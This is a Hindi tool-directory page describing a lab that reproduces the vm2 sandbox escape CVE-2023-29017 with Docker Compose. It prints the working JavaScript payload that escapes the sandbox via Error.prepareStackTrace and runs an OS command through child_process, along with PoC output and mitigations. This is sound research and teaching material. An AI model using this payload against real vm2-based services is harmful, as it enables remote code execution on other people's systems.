Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
Node_CVE-2023-29017 — Node.js vm2 CVE-2023-29017 का Docker Compose और PoC के साथ पुनरुत्पादन | Kitploit
उपकरण/GitHubGitHub/gunwoo105/node_cve-2023-29017
कंटेनर सुरक्षाभेद्यता विश्लेषणशोषणलर्निंग और शिक्षाबाइनरी शोषणलैब और अभ्यास
GitHubgunwoo105/node_cve-2023-29017

Node_CVE-2023-29017

Node.js vm2 CVE-2023-29017 का Docker Compose और PoC के साथ पुनरुत्पादन

रिपॉजिटरी देखें
1 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2023-29017 | vm2 Sandbox Escape के माध्यम से रिमोट कोड निष्पादन

[WHS 4th 31st Batch] - Kim Geon-woo (@gunwoo105)

भेद्यता सारांश

vm2 एक Node.js सैंडबॉक्स लाइब्रेरी है जो अविश्वसनीय JavaScript को एक सीमित वातावरण में चलाने के लिए है। सामान्य स्थिति में, सैंडबॉक्स के अंदर के कोड को Node.js के process, require, child_process और होस्ट फ़ाइल सिस्टम जैसी संवेदनशील सुविधाओं तक पहुँचने में सक्षम नहीं होना चाहिए।

हालाँकि, vm2 3.9.14 और उससे नीचे के संस्करणों में, जब एक असंभालित अतुल्यकालिक त्रुटि होती है, तो यह Error.prepareStackTrace को पारित होस्ट ऑब्जेक्ट को सुरक्षित रूप से संभालने में विफल रहता है। हमलावर इस ऑब्जेक्ट के कंस्ट्रक्टर श्रृंखला का दुरुपयोग करके होस्ट संदर्भ के Function कंस्ट्रक्टर और process ऑब्जेक्ट को प्राप्त कर सकता है, और अंततः child_process के माध्यम से ऑपरेटिंग सिस्टम कमांड निष्पादित कर सकता है।

पर्यावरण सेटअप

घटक

घटकसंस्करण और सेटिंग
Node.js18.15.0
vm23.9.14
पैच संस्करण3.9.15
निष्पादन वातावरणDocker Compose
कंटेनर उपयोगकर्ताnode
सेवा पोर्ट127.0.0.1:3000
पैकेज स्थापनाnpm ci + package-lock.json

हम कमजोर तैयार छवि का उपयोग नहीं करते हैं, बल्कि आधिकारिक Node.js बेस इमेज और रिपॉजिटरी में शामिल स्रोत कोड के साथ सीधे छवि का निर्माण करते हैं। Dockerfile में Node.js और vm2 संस्करणों की जाँच की जाती है, और यदि संस्करण अपेक्षित से भिन्न होता है तो निर्माण विफल हो जाता है।

root@kitploit:~
RUN test "$(node --version)" = "v18.15.0" \
    && test "$(node -p "require('vm2/package.json').version")" = "3.9.14"

worker.js को अलग प्रक्रिया के रूप में चलाने का कारण यह है कि PoC एक असंभालित अतुल्यकालिक त्रुटि उत्पन्न करता है। हमले की प्रक्रिया के दौरान भले ही वर्कर समाप्त हो जाए, वेब सर्वर चलता रहता है, और मार्कर फ़ाइल के साथ सफलता की विश्वसनीय रूप से पुष्टि की जा सकती है।

भेद्यता की शर्तें

निम्नलिखित सभी शर्तों को पूरा किया जाना चाहिए।

  1. एप्लिकेशन vm2 3.9.14 या उससे नीचे का उपयोग करता है।
  2. हमलावर निष्पादित किए जाने वाले JavaScript इनपुट को नियंत्रित कर सकता है।
  3. वह JavaScript vm2 के अंदर निष्पादित होती है।
  4. अतुल्यकालिक JavaScript निष्पादन की अनुमति है।
  5. असंभालित अतुल्यकालिक त्रुटि कमजोर स्टैक ट्रेस प्रसंस्करण पथ तक पहुँचती है।
  6. vm2 चलाने वाली Node.js प्रक्रिया के पास ऑपरेटिंग सिस्टम कमांड निष्पादन या फ़ाइल पहुँच की अनुमति है।

vm2 स्थापित करने वाली सभी सेवाएँ स्वचालित रूप से रिमोट हमले के संपर्क में नहीं आती हैं। हमलावर द्वारा नियंत्रित कोड को vm2 में निष्पादित करने की क्षमता मौजूद होनी चाहिए। इस अभ्यास का /execute एंडपॉइंट उस उपयोग मामले का न्यूनतम कार्यान्वयन है।

हमले का प्रवाह इस प्रकार है:

root@kitploit:~
दुर्भावनापूर्ण JavaScript वितरण
        │
        ▼
असंभालित अतुल्यकालिक त्रुटि उत्पन्न
        │
        ▼
Error.prepareStackTrace कॉल
        │
        ▼
होस्ट frames ऑब्जेक्ट का प्रदर्शन
        │
        ▼
होस्ट Function कंस्ट्रक्टर प्राप्त करना
        │
        ▼
process → require → child_process
        │
        ▼
कंटेनर के अंदर OS कमांड निष्पादन

प्रतिलिपि प्रक्रिया

इमेज बनाना

root@kitploit:~
docker compose build --no-cache

बिल्ड सफल

कमजोर सेवा चलाना

root@kitploit:~
docker compose up -d vulnerable

कंटेनर की स्थिति जाँचें।

root@kitploit:~
docker compose ps

सेवा स्थिति और संस्करण जाँच

root@kitploit:~
curl -sS \
  -w '\nHTTP_STATUS=%{http_code}\n' \
  <http://127.0.0.1:3000/health>

सेवा स्थिति और संस्करण जाँच

PoC चलाना

root@kitploit:~
docker compose run --rm poc
echo "exit_code=$?"

PoC स्वचालित रूप से निम्नलिखित वस्तुओं को सत्यापित करता है:

  1. कमजोर सेवा की healthcheck
  2. Node.js और vm2 संस्करण
  3. सामान्य JavaScript 21 * 2 निष्पादन
  4. जाँच करें कि सामान्य कोड में मार्कर फ़ाइल नहीं बनती है
  5. CVE-2023-29017 payload वितरण
  6. /tmp/vm2-pwned के निर्माण की जाँच करें
  7. जाँच करें कि फ़ाइल सामग्री में uid= शामिल है
  8. सफलता पर निकास कोड 0, विफलता पर निकास कोड 1 लौटाता है

बिल्ड से PoC तक एक बार में चलाने के लिए, निम्नलिखित कमांड का उपयोग करें:

root@kitploit:~
docker compose up \
  --build \
  --abort-on-container-exit \
  --exit-code-from poc

साक्ष्य फ़ाइल जाँच

root@kitploit:~
docker compose exec vulnerable sh -c '
  echo "[Marker file]"
  ls -l /tmp/vm2-pwned
  echo
  echo "[Command output]"
  cat /tmp/vm2-pwned
'

पर्यावरण समाप्त करें

root@kitploit:~
docker compose down -v --rmi local --remove-orphans

5. PoC कोड

पूरा PoC poc/poc.js में शामिल है। मुख्य payload इस प्रकार है:

root@kitploit:~
Error.prepareStackTrace = (error, frames) => {
  const hostProcess =
    frames.constructor.constructor('return process')();

  hostProcess.mainModule
    .require('child_process')
    .execSync('id > /tmp/vm2-pwned');
};

(async () => {}).constructor('return process')();

कोड संचालन

Error.prepareStackTrace पुनर्परिभाषित

root@kitploit:~
Error.prepareStackTrace = (error, frames) => {

हमलावर उस फ़ंक्शन को पुनर्परिभाषित करता है जो त्रुटि स्टैक ट्रेस उत्पन्न होने पर निष्पादित होता है।

होस्ट Function कंस्ट्रक्टर प्राप्त करना

root@kitploit:~
frames.constructor.constructor

कमजोर vm2 द्वारा उजागर किए गए होस्ट frames ऑब्जेक्ट की कंस्ट्रक्टर श्रृंखला का अनुसरण करके होस्ट संदर्भ के Function कंस्ट्रक्टर तक पहुँचता है।

होस्ट process ऑब्जेक्ट प्राप्त करना

root@kitploit:~
frames.constructor.constructor('return process')();

होस्ट संदर्भ में process लौटाने वाला एक फ़ंक्शन बनाता और निष्पादित करता है।

ऑपरेटिंग सिस्टम कमांड निष्पादन

root@kitploit:~
hostProcess.mainModule
  .require('child_process')
  .execSync('id > /tmp/vm2-pwned');

सैंडबॉक्स के अंदर उपलब्ध नहीं child_process को लोड करके Linux id कमांड निष्पादित करता है।

असंभालित अतुल्यकालिक त्रुटि प्रेरित करना

root@kitploit:~
(async () => {}).constructor('return process')();

सैंडबॉक्स में उपलब्ध नहीं process को एक अतुल्यकालिक फ़ंक्शन द्वारा संदर्भित करने के लिए बनाकर एक अस्वीकृत Promise उत्पन्न करता है, और कमजोर स्टैक ट्रेस प्रसंस्करण पथ तक पहुँचता है।

निष्पादन परिणाम

सामान्य नियंत्रण

सामान्य JavaScript vm2 के अंदर निष्पादित होता है और 42 लौटाता है, लेकिन ऑपरेटिंग सिस्टम कमांड निष्पादन का साक्ष्य नहीं बनाता है।

root@kitploit:~
[2/4] Running benign JavaScript inside vm2
      Normal JavaScript returned 42 without host command execution

भेद्यता का दुरुपयोग

दुर्भावनापूर्ण payload वितरित करने पर, यह vm2 सैंडबॉक्स से बच निकलता है, और कमजोर Node.js प्रक्रिया के विशेषाधिकारों के साथ कंटेनर के अंदर id कमांड निष्पादित होता है।

root@kitploit:~
[3/4] Sending CVE-2023-29017 payload
      Host command output: uid=1000(node) gid=1000(node) groups=1000(node)

PoC संग्रहीत साक्ष्य की फिर से जाँच करता है और फिर सफलता की स्थिति लौटाता है।

root@kitploit:~
[4/4] Confirming persisted evidence
[SUCCESS] CVE-2023-29017 reproduced: vm2 sandbox escape led to host command execution.
exit_code=0

PoC निष्पादन सफल

साक्ष्य फ़ाइल को सीधे जाँचने पर निम्नलिखित परिणाम आउटपुट होता है:

मार्कर साक्ष्य जाँच

मार्कर फ़ाइल प्रत्येक निष्पादन से पहले हटा दी जाती है, और सामान्य कोड निष्पादन चरण के दौरान नहीं बनाई जाती है। इस प्रकार, यह पिछले निष्पादन परिणामों के शेष रहने से होने वाली गलत सकारात्मकता को रोकता है।

प्रतिकार उपाय

vm2 अपडेट

प्रभावित न होने वाले संस्करण में अपडेट करें।

root@kitploit:~
{
  "dependencies": {
    "vm2": "3.9.15"
  }
}

फिर lockfile को अपडेट करें और लॉक की गई निर्भरताओं के साथ स्थापित करें।

root@kitploit:~
npm install --package-lock-only
npm ci

आधिकारिक सलाहकार नोट में कहा गया है कि कोई अलग workaround नहीं है, इसलिए कमजोर संस्करण का उपयोग जारी रखने की अनुशंसा नहीं की जाती है।

अविश्वसनीय कोड के लिए निष्पादन वातावरण को अलग करना

अविश्वसनीय कोड को एप्लिकेशन के समान Node.js प्रक्रिया में निष्पादित न करें। इसे एक अलग प्रक्रिया, कंटेनर या वर्चुअल मशीन में अलग करें और निष्पादन पूरा होने पर वातावरण को त्याग दें।

न्यूनतम विशेषाधिकार लागू करना

  • गैर-root समर्पित उपयोगकर्ता के रूप में चलाएँ
  • no-new-privileges लागू करें
  • अनावश्यक Linux क्षमताएँ हटाएँ
  • Docker सॉकेट और होस्ट निर्देशिका माउंट को प्रतिबंधित करें
  • फ़ाइल सिस्टम को केवल-पढ़ने के लिए सेट करने पर विचार करें
  • कंटेनर के अंदर दीर्घकालिक क्रेडेंशियल्स संग्रहीत करने से बचें

नेटवर्क और संसाधन सीमाएँ

  • निष्पादन कंटेनर के बाहरी नेटवर्क एक्सेस को प्रतिबंधित करें
  • आंतरिक प्रबंधन नेटवर्क और डेटाबेस तक पहुँच को कम करें
  • CPU, मेमोरी, प्रक्रियाओं की संख्या और निष्पादन समय को सीमित करें
  • इनपुट आकार और अनुरोध आवृत्ति को सीमित करें
  • असामान्य समाप्ति और बार-बार दुर्भावनापूर्ण इनपुट की निगरानी करें

प्रमाणीकरण और इनपुट नियंत्रण

कोड निष्पादन सुविधा के लिए मजबूत प्रमाणीकरण और प्राधिकरण लागू करें, और अज्ञात उपयोगकर्ताओं के लिए खुले मनमाने कोड निष्पादन API न चलाएँ। हालाँकि, प्रमाणीकरण हमले की सतह को कम करने का एक सहायक उपाय है, यह भेद्यता को स्वयं ठीक करने का विकल्प नहीं है।

टूल डाउनलोड करें
फ़ाइलभूमिका
docker-compose.ymlकमजोर सेवा और PoC कंटेनरों को कॉन्फ़िगर करता है और निष्पादन क्रम को परिभाषित करता है
Dockerfileकमजोर सेवा और PoC छवियों को मल्टी-स्टेज तरीके से बनाता है
vulnerable/src/server.js/health, /execute, /evidence एंडपॉइंट प्रदान करता है
vulnerable/src/worker.jsउपयोगकर्ता इनपुट को अलग प्रक्रिया के vm2 में निष्पादित करता है
poc/poc.jsसंस्करण जाँच, सामान्य नियंत्रण, हमला और साक्ष्य सत्यापन को स्वचालित करता है
vulnerable/package-lock.jsonसंक्रमणीय निर्भरताओं सहित पैकेज संस्करणों को लॉक करता है